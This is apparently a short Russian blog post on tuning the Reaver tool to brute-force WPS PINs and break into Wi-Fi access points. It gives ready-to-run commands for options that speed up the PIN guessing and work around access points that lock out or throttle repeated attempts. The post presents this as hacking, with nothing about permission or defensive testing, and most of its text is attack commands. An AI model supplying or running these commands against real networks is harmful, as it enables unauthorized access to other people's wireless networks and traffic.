Прокачиваем Reaver.

Раньше я показывала самый простой и наиболее универсальный способ взлома с помощью утилиты Reaver. http://maxpark.com/community/3579/content/3301146  Однако реализация WPS у разных производителей отличается, поэтому в некоторых случаях необходима дополнительная настройка. Ниже я приведу дополнительные опции, которые могут повысить скорость и эффективность перебора ключа.

Можно задать номер канала и SSID точки доступа:
    # reaver -i mon0 -b 00:01:02:03:04:05 -c 11 -e linksys
    Благотворно сказывается на скорости брутфорса опция ‘—dh-small’, которая задает небольшое значение секретного ключа, тем самым облегчая расчеты на стороне точки доступа:
    # reaver -i mon0 -b 00:01:02:03:04:05 -vv --dh-small
    Таймаут ожидания ответа по умолчанию равен пяти секундам. При необходимости его можно изменить:
    # reaver -i mon0 -b 00:01:02:03:04:05 -t 2
    Задержка между попытками по умолчанию равна одной секунде. Она также может быть настроена:
    # reaver -i mon0 -b 00:01:02:03:04:05 -d 0
    Некоторые точки доступа могут блокировать WPS на определенное время, заподозрив, что их пытаются поиметь.

Reaver эту ситуацию замечает и делает паузу в переборе на 315 секунд по умолчанию, длительность этой паузы можно менять:
    # reaver -i mon0 -b 00:01:02:03:04:05 --lock-delay=250
    Некоторые реализации протокола WPS разрывают соединение при неправильном PIN-коде, хотя по спецификации должны возвращать особое сообщение. Reaver автоматически распознает такую ситуацию, для этого существует опция ‘—nack':
    # reaver -i mon0 -b 00:01:02:03:04:05 --nack
    Опция ‘—eap-terminate’ предназначена для работы с теми АР, которые требуют завершения WPS-сессии с помощью сообщения EAP FAIL:
    # reaver -i mon0 -b 00:01:02:03:04:05 --eap-terminate
    Возникновение ошибок в WPS-сессии может означать, что АР ограничивает число попыток ввода PIN-кода, либо просто перегружена запросами. Информация об этом будет отображаться на экране. В этом случае Reaver приостанавливает свою деятельность, причем время паузы может быть задано с помощью опции ‘—fail-wait':
    # reaver -i mon0 -b 00:01:02:03:04:05 --fail-wait=360